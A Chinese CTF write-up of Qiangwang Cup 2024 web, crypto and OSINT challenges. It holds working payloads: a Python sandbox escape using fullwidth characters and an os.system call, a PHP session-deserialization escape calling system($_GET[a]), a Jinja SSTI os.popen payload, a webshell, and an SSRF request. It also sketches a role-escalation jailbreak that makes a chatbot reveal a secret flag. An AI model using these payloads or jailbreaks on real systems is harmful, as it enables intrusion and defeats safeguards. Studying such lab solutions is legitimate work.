强网杯2024

baozongwi Lv5

0x01 说在前面

打着玩,反正当不了先锋

0x02 question

签到

签到直接交就可以了

givemesecret

进来发现是TornadoServer/6.4.1

OK试试注入

1

然后中途stop,别看着只有一张图我可是锻炼了一早上呜呜呜

写写历程吧

1
从我要当主人-》我是工程师-》我是测试工程师,权限最高-》命令执行RCE,echo `whoami`-》问secret-》问flag,一直问,终于成功了

PyBlockly

有代码的先看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import json

app = Flask(__name__)
app.config['JSON_AS_ASCII'] = False

blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"

def module_exists(module_name):

spec = importlib.util.find_spec(module_name)
if spec is None:
return False

if module_name in sys.builtin_module_names:
return True

if spec.origin:
std_lib_path = os.path.dirname(os.__file__)

if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False

def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True

def check_for_blacklisted_symbols(input_text):
if re.search(blacklist_pattern, input_text):
return True
else:
return False



def block_to_python(block):
block_type = block['type']
code = ''

if block_type == 'print':
text_block = block['inputs']['TEXT']['block']
text = block_to_python(text_block)
code = f"print({text})"

elif block_type == 'math_number':

if str(block['fields']['NUM']).isdigit():
code = int(block['fields']['NUM'])
else:
code = ''
elif block_type == 'text':
if check_for_blacklisted_symbols(block['fields']['TEXT']):
code = ''
else:

code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
elif block_type == 'max':

a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"max({a}, {b})"

elif block_type == 'min':
a_block = block['inputs']['A']['block']
b_block = block['inputs']['B']['block']
a = block_to_python(a_block)
b = block_to_python(b_block)
code = f"min({a}, {b})"

if 'next' in block:

block = block['next']['block']

code +="\n" + block_to_python(block)+ "\n"
else:
return code
return code

def json_to_python(blockly_data):
block = blockly_data['blocks']['blocks'][0]

python_code = ""
python_code += block_to_python(block) + "\n"


return python_code

def do(source_code):
hook_code = '''
def my_audit_hook(event_name, arg):
blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
if len(event_name) > 4:
raise RuntimeError("Too Long!")
for bad in blacklist:
if bad in event_name:
raise RuntimeError("No!")

__import__('sys').addaudithook(my_audit_hook)

'''
print(source_code)
code = hook_code + source_code
tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
try:
if verify_secure(tree):
with open("run.py", 'w') as f:
f.write(code)
result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
os.remove('run.py')
return result
else:
return "Execution aborted due to security concerns."
except:
os.remove('run.py')
return "Timeout!"

@app.route('/')
def index():
return app.send_static_file('index.html')

@app.route('/blockly_json', methods=['POST'])
def blockly_json():
blockly_data = request.get_data()
print(type(blockly_data))
blockly_data = json.loads(blockly_data.decode('utf-8'))
print(blockly_data)
try:
python_code = json_to_python(blockly_data)
return do(python_code)
except Exception as e:
return jsonify({"error": "Error generating Python code", "details": str(e)})

if __name__ == '__main__':
app.run(host = '0.0.0.0')

首先一进来这个黑名单过滤了很多符号(所有),除了空格大小写字母数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def module_exists(module_name):

spec = importlib.util.find_spec(module_name)
if spec is None:
return False

if module_name in sys.builtin_module_names:
return True

if spec.origin:
std_lib_path = os.path.dirname(os.__file__)

if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
return True
return False

判断函数是否为内置模块,如果为自定义模块则返回False

1
2
3
4
5
6
7
8
9
10
def verify_secure(m):
for node in ast.walk(m):
match type(node):
case ast.Import:
print("ERROR: Banned module ")
return False
case ast.ImportFrom:
print(f"ERROR: Banned module {node.module}")
return False
return True

判断是否有导入语句,AST为一个标准库

然后就是两个来进行代码处理的函数,重点是这里

1

进行了代码的执行,其中我们绕过关键词即可,现在的问题就是插入恶意代码以及绕过了

现在我们知道发包的格式类似于这种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"blocks": {
"languageVersion": 0,
"blocks": [
{
"type": "print",
"id": "1",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"id": "2",
"fields": {
"TEXT": "Hello, World!"
}
}
}
}
}
]
}
}

但是读取文件这里又卡住了,这里不让有的关键词如何绕过,还有就是文件读取命令使用什么

后面查看自己的CTFshow之前的记录发现可以使用半角符号来绕过关键词,读取命令用这个

1
2
3
4
5
root@dkcjbRCL8kgaNGz:~# dd if=/flag
flag{I_love_Yo3}
0+1 records in
0+1 records out
17 bytes copied, 3.9533e-05 s, 430 kB/s

但是后面发现这个payload我这么写都写不好,八进制绕过给我爆500,然后上网搜索有没有内置的读取文件的Flask中内置的读取文件方法

找到get_data方法

转半角脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="1"
for i in s:
t+=half2full(i)
print(t)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"blocks": {
"blocks": [
{
"type": "print",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"fields": {
"TEXT": "123‘,getattr("".__class__.__bases__.__getitem__(0).__subclasses__()[121], "get_data")(1, "/etc/passwd"),’"
}
}
}
}
}
]
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"blocks": {
"blocks": [
{
"type": "print",
"inputs": {
"TEXT": {
"block": {
"type": "text",
"fields": {
"TEXT": "123‘,getattr("".__class__.__bases__.__getitem__(0).__subclasses__()[121], "get_data")(1, "/proc/1/environ"),’"
}
}
}
}
}
]
}
}

还是搞不到,难道还是要命令执行才可以吗

题目中说了len不能超过4,这里直接重写len

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /blockly_json HTTP/1.1
Host: eci-2zefm3fmppqf7kdz1ghu.cloudeci1.ichunqiu.com:5000
Content-Length: 317
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Origin: http://eci-2zefm3fmppqf7kdz1ghu.cloudeci1.ichunqiu.com:5000
Referer: http://eci-2zefm3fmppqf7kdz1ghu.cloudeci1.ichunqiu.com:5000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1728270163,1728484327,1728520102,1728911088
Connection: close

{"blocks":{"languageVersion":0,"blocks":[{"type":"text","id":"Yl.b$Wv5$31H:nQG/2fi","x":0,"y":181,"fields":{"TEXT":"‘;__import__(”builtins”)。len=lambda a:4;’‘;__import__(”os”)。system(”$(printf ‘dd if=/flag’); ”);’"}}]}}

xiaohuanxiong

1
V5.1.35 LTS { 十年磨一剑-为API开发设计的高性能框架 }

是一个tp,进来之后先安装,然后等待一会儿,管他的先扫吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[10:09:00] 200 -    1KB - /admin/login                                      
[10:09:00] 200 - 1KB - /admin/login.html
[10:09:00] 200 - 1KB - /Admin/login/
[10:14:20] 200 - 1KB - /login
[10:14:21] 200 - 1KB - /login.html
[10:14:22] 200 - 1KB - /login/
[10:14:22] 200 - 1KB - /login/admin/
[10:14:23] 200 - 1KB - /login/admin/admin.asp
[10:14:23] 200 - 1KB - /login/administrator/
[10:14:23] 200 - 1KB - /login/cpanel.php
[10:14:23] 200 - 1KB - /login/cpanel.aspx
[10:14:23] 200 - 1KB - /login/cpanel.html
[10:14:23] 200 - 1KB - /login/cpanel.jsp
[10:14:23] 200 - 1KB - /login/cpanel.js
[10:14:23] 200 - 1KB - /login/cpanel/
[10:14:23] 200 - 1KB - /login/index
[10:14:23] 200 - 1KB - /login/login
[10:14:23] 200 - 1KB - /login/oauth/
[10:14:23] 200 - 1KB - /login/super
[10:14:29] 200 - 899B - /logout
[10:14:29] 200 - 899B - /logout.html
[10:14:29] 200 - 899B - /logout/
[10:15:29] 200 - 1KB - /register
[10:15:29] 200 - 1KB - /register.html
[10:15:30] 200 - 24B - /robots.txt
[10:15:31] 200 - 2KB - /search
[10:15:31] 200 - 2KB - /search.php
[10:15:31] 200 - 2KB - /search.js
[10:15:31] 200 - 2KB - /search.html
[10:15:31] 200 - 2KB - /search.aspx
[10:15:31] 200 - 2KB - /search.jsp
[10:15:31] 200 - 2KB - /search_admin
[10:15:31] 200 - 2KB - /searchreplacedb2.php
[10:15:31] 200 - 2KB - /searchresults.aspx
[10:15:31] 200 - 2KB - /searchresults.html
[10:15:31] 200 - 2KB - /searchresults.php
[10:15:31] 200 - 2KB - /searchresults.js
[10:15:31] 200 - 2KB - /searchreplacedb2cli.php
[10:15:31] 200 - 2KB - /searchresults.jsp

扫的确实慢了点不过心急吃不了热豆腐,接着搞,发现admin/Admins,这里发现支付可以添加PHP代码

1
/admin/payment/index.html

直接添加一句话木马,但是我发现有个小细节就是必须加不能报错和引号,不然就无法使用,加完直接返回漫画主页就已经getshell了

难得就在于拿到admin/Admins这个路由,御剑是可以爆破出来的

platform

扫出来源码www.zip

拿到之后是一个PHP。我们慢慢看

1

看到这里之后发现直接就是在class.php,但是有session,可能有竞争?

后来想想这里不是有个空值嘛

1

经过测试发现怎么弄都会是56个字符

1
2
3
";session_key|s:20:"FIzIiMb901w1XCmMXvui";password|s:99:

";session_key|s:19:"kkTEOXdlrTsA7fOnDWI";password|s:106:

于是这里我们进行逃逸即可

1
print("passthru"*7)

然后再插入我们的session序列化poc

1
;session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("sys"."tem")($_GET[a]);";}password|s:2:"wi

当然这里如果是脚本的话肯定是要http头的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests

headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'no-cache',
'Content-Type': 'application/x-www-form-urlencoded',
'Pragma': 'no-cache',
'Proxy-Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
}

params = {
'a': "/readflag"
}

data = {
'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("sys"."tem")($_GET[a]);";}password|s:2:"wi',
'username': 'passthrupassthrupassthrupassthrupassthrupassthrupassthru'
}


url = "http://eci-2zebwi4k2x5ugkdi45iw.cloudeci1.ichunqiu.com/"
while 1:
r = requests.session()
response1 = r.post(url+'/index.php', headers=headers, data=data, verify=False, allow_redirects=False)
response2 = r.post(url+'/index.php', headers=headers, data=data,verify=False, allow_redirects=False)
response3 = r.post(url + '/dashboard.php',params=params,headers=headers, verify=False, allow_redirects=False)
if "flag" in response3.text:
print(response3.text)
print(r.cookies)
break
else:
print(response3.text)
print(r.cookies)
r.close()

Proxy

有源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package main

import (
"bytes"
"io"
"net/http"
"os/exec"

"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
URL string `json:"url" binding:"required"`
Method string `json:"method" binding:"required"`
Body string `json:"body"`
Headers map[string]string `json:"headers"`
FollowRedirects bool `json:"follow_redirects"`
}

func main() {
r := gin.Default()

v1 := r.Group("/v1")
{
v1.POST("/api/flag", func(c *gin.Context) {
cmd := exec.Command("/readflag")
flag, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}
c.JSON(http.StatusOK, gin.H{"flag": flag})
})
}

v2 := r.Group("/v2")
{
v2.POST("/api/proxy", func(c *gin.Context) {
var proxyRequest ProxyRequest
if err := c.ShouldBindJSON(&proxyRequest); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
return
}

client := &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
if !req.URL.IsAbs() {
return http.ErrUseLastResponse
}

if !proxyRequest.FollowRedirects {
return http.ErrUseLastResponse
}

return nil
},
}

req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

for key, value := range proxyRequest.Headers {
req.Header.Set(key, value)
}

resp, err := client.Do(req)

if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

defer resp.Body.Close()

body, err := io.ReadAll(resp.Body)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
return
}

c.Status(resp.StatusCode)
for key, value := range resp.Header {
c.Header(key, value[0])
}

c.Writer.Write(body)
c.Abort()
})
}

r.Run("127.0.0.1:8769")
}

1

得到发包格式

1

这里直接就可以拿到flag,那我们直接curl发包

1
2
3
4
5
6
7
8
9
10
root@dkcjbRCL8kgaNGz:~# curl -X POST http://47.94.231.2:30773/v2/api/proxy \
-H "Content-Type: application/json" \
-d '{
"url": "http://127.0.0.1:8769/v1/api/flag",
"method": "POST",
"body": "",
"headers": {},
"follow_redirects": false
}'
{"flag":"ZmxhZ3s1ZWRlMjYzYi0xZjAzLTRhNGYtYTUyMC1jNGM4ZjE3MzYyOWF9"}

然后解码即可

1
flag{5ede263b-1f03-4a4f-a520-c4c8f173629a}

snake

进来是个贪吃蛇,肯定是要通关才能够拿到flag,那么我们爆破爬取路由

拿到/snake_win

1

测出有sql注入漏洞,尝试注入之后没有结果

响应头也没说是什么web服务,测试了很久发现可以ssti

1

man,flag终于是要到我手里了嘛

1
http://eci-2ze762llzxw5o9w9mbw2.cloudeci1.ichunqiu.com:5000/snake_win?username=1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'tac /flag\').read()')}}"-- -

Master of OSINT

进来之后发现是个找图片

使用工具慢慢she出经纬度

1
2
3
https://api.map.baidu.com/lbsapi/getpoint/index.html

https://map.baidu.com/search/

1

看到有湖并且这里很平,打开地图,国内有湖的地方就这两个

1

挨着试找到是海南藏族自治州这里

1

百安居(这里注意要下载,不然看不到这个)

1

第三张图的话就很熟悉了,因为我在成都,这是双流机场

1

这里一个大卡车重汽(找物流公司)

1

这不是一模一样?

1

这一看就是重庆继续找找这个高架

1

简直了

1

还是高架,每个图都在高架上面基本是

1

1

这个好搞,橘子洲

1

1

这个我都不用看,长江大桥

1

1

ok终于是找完了,最后经过两年半的查找答案如下

1
2
3
4
5
6
7
8
9
10
一 99.974383,36.66725
二 121.567039,31.211279
三 103.966657,30.571185
四 120.293197,30.346334
五 106.524114,29.52509
六 118.783635,32.013335
七 112.969521,28.201853
八 121.734859,31.412815
九 114.412567,30.661017
十 120.308631,30.152785

1

EasyRSA

先进去拿参数

1
2
3
4
N=42904039314199895721696616855758464218776719155277644688156355421669731926586744657558904856662524664815001053906568694877941070734379088087661446033173083187445772619113110948584643982194462341444480231060053008290646295405517083378534377980681311369011669792894523149142258780642722178595904015146283411763379803572408919306199860289071979553687419537458952652653841956474558202437419097277523814620107550505762949933586019973892299407282425426574324269936979456148685237646197700304901043932950332167503114720687804083313706537708157799145007429182143131211123753832870983386421744654743615691456503687433253700707
e=65537
g=2467289273249224073499308128504701193779913828213444430435151093961964204649293591016042690390824880024231535639632722916163130665022776513946276332507
enc=12709693287264155874588327905007095658924584817796376099734882542910731460825766770672115564368497141711860077407627137628906166192867282903038794375385103923117937259213778979889844254053587067543343272153487237062941786040827781296627252935285712565966813858306852382594194367821015639439066528157046594978868346586874763813295540162505405425455235498583512373062022633584465000726414162171619788788030500551923136766813781433302278483256483999391289749744953431408447702944986393707616176873212339507135665819552507676368414131287311936039623896380645989109820457591105147343119080909601863364535862069112518457752

这靶机我之前一直没看到我丢,然后就不用管靶机了,其次不要关靶机,我关了靶机导致一直跑不出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#encoding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2

class RSAEncryptor:
def __init__(self):
self.g = self.a = self.b = 0
self.e = 65537
self.factorGen()
self.product()

def factorGen(self):
while True:
self.g = getPrime(500)
while not gmpy2.is_prime(2*self.g*self.a+1):
self.a = random.randint(2**523, 2**524)
while not gmpy2.is_prime(2*self.g*self.b+1):
self.b = random.randint(2**523, 2**524)
self.h = 2*self.g*self.a*self.b+self.a+self.b
if gmpy2.is_prime(self.h):
self.N = 2*self.h*self.g+1
print(len(bin(self.N)))
return

def encrypt(self, msg):
return gmpy2.powmod(msg, self.e, self.N)

def product(self):
with open('/flag', 'rb') as f:
self.flag = f.read()
# Convert flag to an integer before encryption
flag_int = bytes_to_long(self.flag)
self.enc = self.encrypt(flag_int)
self.show()
print(f'enc={self.enc}')

def show(self):
print(f"N={self.N}")
print(f"e={self.e}")
print(f"g={self.g}")

RSAEncryptor()

  1. 生成素数和模数 (N):
    • self.g 是一个500位的素数。
    • self.aself.b 是随机生成的数,它们使得 2*self.g*self.a+12*self.g*self.b+1 是素数。
    • self.h2*self.g*self.a*self.b+self.a+self.b,且 self.h 也是素数。
    • N 被计算为 2*self.h*self.g+1
  2. 加密过程:
    • 使用公钥 (N, e),其中 e 是常用的 65537
    • 消息用 gmpy2.powmod(msg, e, N) 进行加密。
  3. 解密的挑战:
    • 通常,RSA解密需要私钥 (d),它通过求解 ed ≡ 1 (mod φ(N)) 获得。这里 φ(N) 是欧拉函数,通常是 (p-1)(q-1)pqN 的两个素数因子。

解密的话我们

  1. 模数分解 (Factorization):
    • 目标是将大整数模数 NN 分解为两个素数乘积 pp 和 qq。在此方案中,利用已知的结构 p=2ga+1p=2g**a+1 和 q=2gb+1q=2g**b+1 进行推导。
  2. 中国剩余定理 (Chinese Remainder Theorem, CRT):
    • 使用求解 uv 的过程,间接利用了模数分解的结构特性,通过推导近似根来简化计算过程。
  3. 指数求逆 (Modular Inversion):
    • 计算私钥指数 dd 的过程利用了模逆运算。具体来说,通过求解 d≡e−1(modϕ(N))de−1(modϕ(N)),其中 ϕ(N)=(p−1)(q−1)ϕ(N)=(p−1)(q−1)。
  4. 密文解密 (Ciphertext Decryption):
    • 使用模幂运算实现解密,即 m=Cd(modN)m=C**d(modN)。
  5. 平方根逼近 (Root Approximation):
    • 通过 iroot 函数计算平方根,利用近似和迭代方法逼近解。
  6. 数论攻击 (Number Theory Attack):
    • 整个解密方案可以视为基于数论特性的攻击,通过已知因子关系和结构性弱点来恢复加密密钥。

最后写个脚本,此时一定要注意,把rs写大一点节省时间不然靶机都没了可能还是跑不出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#encoding:utf-8
from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import mpz, iroot, powmod, invert

# N = pq 2050bit; p 1025 bit; q 1025 bit
N=mpz("36485011506081204249353320553950613538202089151659637848115802055074144483670941532556535766902145921973594997027479624905209949691271762025427477743585502482131332590436695347051791231697483166685773359997599962390951389807897889989842749391578113929807413080535375105955893148740093617956725535911664750114893144869800480780770094530308687537645720410428791977178530996923717038507261474355948618508166751918076068001409953063336528028033025761084181080126504217426369672569710112079242859636376145175734678264411553576130988579634184334371125938410224579198183934903162942790258446634362761502507649065084540399627")
# g 500bit; is p-1 and q-1 prime factor
# p = 2*g*a + 1; q = 2*g*b + 1
g=mpz("2247113742037388549126827263530967729647876171160434451719365936820171519384453150516592428020693798355300913115889019295485975565435074105418185872653")
e = 65537
C=mpz("8723174185243286745778722165394947826680341325024406927179799187651216273269550886122199189840469819205011474538291123038948795537734295353538048662643560558613222940652432465387821767869659987332731872376334835470075829738040916495874122194399361612840158429781298635579378738659475708516663189740417547967046498681970164226439603650301067936899183776866269511992054665324683444422921359125980570625643493195848148074925368422310976126635090617900612294394294526142884055556163913650939907516297466755311082324437407938032687938659279120158022331434516948954703962993479193049714934370005556711772066538439821538739")
# Calculate h, u, and v
h = (N - 1) // g
u = h // g
v = h % g

def Solve_c():
# Calculate approximate square root of N
sqrt_N = iroot(mpz(N), 2)[0]
C_approx = sqrt_N // (g * g) # 确保结果为整数

a = 2
b = powmod(a, g, N)

# Loop over possible values of C
for i in range(2, int(C_approx) + 1): # 使用 int() 将 C_approx 转换为整数
D = (iroot(C_approx, 2)[0] + 1) * i
final = powmod(b, u, N)
for r in range(5100,int(D)):
print(f"Checking r*D for i={i}: {r * D}")
for s in range(4000,int(D)):
if powmod(b, r * D + s, N) == final:
print("Solution found: r =", r, "s =", s, "i =", i)
return r * D + s

# Get the value of c
c = Solve_c()
print("c:", c) # Expected output: c = 51589121

# Calculate A and B for quadratic equation
A = u - c # x * y = u - c
B = v + c * g # x + y = v + c * g

# Calculate the values of x and y using the quadratic formula
delta = iroot(B * B - 4 * A, 2)[0]
x = (B + delta) // 2
y = (B - delta) // 2

a = x // 2
b = y // 2

# Calculate p and q
p = 2 * g * a + 1
q = 2 * g * b + 1

# Calculate private key exponent d
d = invert(e, (p - 1) * (q - 1))

# Decrypt the ciphertext
m = powmod(C, d, N)
print("Decrypted message:", long_to_bytes(m))

apbq

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[+] Welcome to my apbq game
┃ stage 1: p + q
┃ hints = 18978581186415161964839647137704633944599150543420658500585655372831779670338724440572792208984183863860898382564328183868786589851370156024615630835636170
┃ public key = (89839084450618055007900277736741312641844770591346432583302975236097465068572445589385798822593889266430563039645335037061240101688433078717811590377686465973797658355984717210228739793741484666628342039127345855467748247485016133560729063901396973783754780048949709195334690395217112330585431653872523325589, 65537)
┃ enc1 = 23664702267463524872340419776983638860234156620934868573173546937679196743146691156369928738109129704387312263842088573122121751421709842579634121187349747424486233111885687289480494785285701709040663052248336541918235910988178207506008430080621354232140617853327942136965075461701008744432418773880574136247
----------------------
┃ stage 2: ai*p + bi*q
┃ hints = [18167664006612887319059224902765270796893002676833140278828762753019422055112981842474960489363321381703961075777458001649580900014422118323835566872616431879801196022002065870575408411392402196289546586784096, 16949724497872153018185454805056817009306460834363366674503445555601166063612534131218872220623085757598803471712484993846679917940676468400619280027766392891909311628455506176580754986432394780968152799110962, 17047826385266266053284093678595321710571075374778544212380847321745757838236659172906205102740667602435787521984776486971187349204170431714654733175622835939702945991530565925393793706654282009524471957119991, 25276634064427324410040718861523090738559926416024529567298785602258493027431468948039474136925591721164931318119534505838854361600391921633689344957912535216611716210525197658061038020595741600369400188538567, 22620929075309280405649238349357640303875210864208854217420509497788451366132889431240039164552611575528102978024292550959541449720371571757925105918051653777519219003404406299551822163574899163183356787743543, 20448555271367430173134759139565874060609709363893002188062221232670423900235907879442989619050874172750997684986786991784813276571714171675161047891339083833557999542955021257408958367084435326315450518847393, 16581432595661532600201978812720360650490725084571756108685801024225869509874266586101665454995626158761371202939602347462284734479523136008114543823450831433459621095011515966186441038409512845483898182330730, 23279853842002415904374433039119754653403309015190065311714877060259027498282160545851169991611095505190810819508498176947439317796919177899445232931519714386295909988604042659419915482267542524373950892662544, 16542280976863346138933938786694562410542429842169310231909671810291444369775133082891329676227328401108505520149711555594236523078258701726652736438397249153484528439336008442771240980575141952222517324476607, 17054798687400834881313828738161453727952686763495185341649729764826734928113560289710721893874591843482763545781022050238655346441049269145400183941816006501187555169759754496609909352066732267489240733143973, 22115728663051324710538517987151446287208882441569930705944807337542411196476967586630373946539021184108542887796299661200933395031919501574357288914028686562763621166172668808524981253976089963176915686295217, 19324745002425971121820837859939938858204545496254632010818159347041222757835937867307372949986924646040179923481350854019113237172710522847771842257888083088958980783122775860443475680302294211764812636993025, 17269103712436870749511150569030640471982622900104490728908671745662264368118790999669887094371008536628103283985205839448583011077421205589315164079023370873380480423797655480624151812894997816254147210406492, 17365467616785968410717969747207581822018195905573214322728668902230086291926193228235744513285718494565736538060677324971757810325341657627830082292794517994668597521842723473167615388674219621483061095351780, 20823988964903136690545608569993429386847299285019716840662662829134516039366335014168034963190410379384987535117127797097185441870894097973310130525700344822429616024795354496158261293140438037100429185280939, 19068742071797863698141529586788871165176403351706021832743114499444358327620104563127248492878047796963678668578417711317317649158855864613197342671267006688211460724339403654215571839421451060657330746917459, 20089639597210347757891251257684515181178224404350699015820324544431016085980542703447257134320668961280907495580251880177990935443438799776252979843969984270461013888122703933975001704404129130156833542263882, 22344734326131457204500487243249860924828673944521980798994250859372628295695660076289343998351448667548250129358262592043131205967592613289260998148991388190917863322690137458448696392344738292233285437662495, 22688858027824961235755458925538246922604928658660170686458395195714455094516952026243659139809095639584746977271909644938258445835519951859659822660413616465736923822988993362023001205350387354001389518742538, 21286046487289796335501643195437352334100195831127922478044197411293510360710188581314023052580692810484251118253550837525637065385439859631494533102244585493243972819369812352385425700028640641292410326514111, 21542729548465815605357067072323013570796657575603676418485975214641398139843537820643982914302122976789859817102498484496409546012119998359943274203338400776158986205776474024356567247508744784200354385060666, 22319592382753357951626314613193901130171847776829835028715915533809475362288873045184870972146269975570664009921662023590318988850871708674240304838922536028975978222603171333743353770676344328056539379240160, 25195209191944761648246874631038407055240893204894145709996399690807569652160721616011712739214434932639646688187304865397816188999592774874989401871300784534538762135830014255425391132306536883804201055992313, 18257804244956449160916107602212089869395886846990320452133193087611626919926796845263727422042179229606817439442521540784268169177331707314788427670112999551683927934427716554137597798283300120796277229509678, 20293403064916574136692432190836928681820834973375054705153628740577159076332283715581047503287766236543327123639746352358718218140738999496451259789097826888955418315455420948960832865750253988992454128969953, 15967654820584966012628708475666706277218484919923639492431538068059543232562431059752700377242326527417238151501168940191488179144049286512652111172149113549072003881460743035279388672984805823560897688895124, 25144187979876039024245879200325843092774389926620026124061775431569974232758799200333888039013494603721065709195353330350750055309315207499741437181094874894647736904055829877859906318073991986020178158776286, 15736932921640444103019961538951409924080453868073105830403926861058056351553271238438325117113945341892868641345117717666354739204401152657265824568724844930574396801692131746182948347887298330990039956813130, 18831072673439732764722762485733622234889447953507582396819704359771208236721692820362137219509611319088756045211407777880521726782697895768017460064889670066178710804124631128581556314122255564861269062385337, 23800437561684813552661749774840752013501533683948618798811470214669024646396165487093720960221009038817909066075238937189371227098032581450466402462014437421254375846263830927945343485988463525070074913720710, 24402191070622494792723290726249952159888270689258801831518209605331984684494095167423722682814769395395011136124403802097229547003802312444913008194461779426175966774202219703164060353710247619639616444797670, 20215481513831963554421686543560596857659844027486522940060791775984622049024173363533378455076109165728144576719015392033536498353094895564917644840994662704362121549525329105205514332808950206092190939931448, 18384453917605955747212560280232547481041600196031285084598132475801990710125754705645482436436531608696373462641765399622296314590071558616193035939108523357020287896879479452040171765916716377102454266933226, 21890401344164908103930010123434944359446535642544335610455613014563290097498740447164765588532234051104173227090428486681237432196639010849051113283297943367655458678533223039415083212229970648958070799280218, 18379893441293694747570620009241814202936873442370354246029979042247705730610190888710981918183390028386451290137755339890329474403224043675724851314770861939082447728194632548864823398818221526652331319263027, 18715827130228986951360013590464775001019026913384718876134449689773600060962392738619405370033085704046027397895627933844824630723286144367800484157574548819065406118338665931032779491897783504790669824301288, 13588739911708699123450670852772302012518315143187739886523841133752009403411431627334135210166268158490674049617489193734568451811305631563767138879895461211915128972052001136464325219117009268526575020143259, 18506039912943821193373920483847347155611306173368341979655092778147169768984477236224526786441466933360500418090210912574990962709452725122792963919616633389125605160796446674502416801964271004625701238202575, 22167985517547342184812919437069844889650448522260359154086923601900060998572245598167213217022051141570075284051615276464952346620430587694188548679895095556459804921016744713098882496174497693878187665372865, 21507363933875318987283059841465034113263466805329282129011688531718330888226928182985538861888698160675575993935166249701145994333840516459683763957425287811252135418288516497258724668090570720893589001392220, 20250321586608105267884665929443511322540360475552916143405651419034772061789298150974629817817611591100450468070842373341756704300393352252725859102426665187194754280129749402796746118608937061141768301995522, 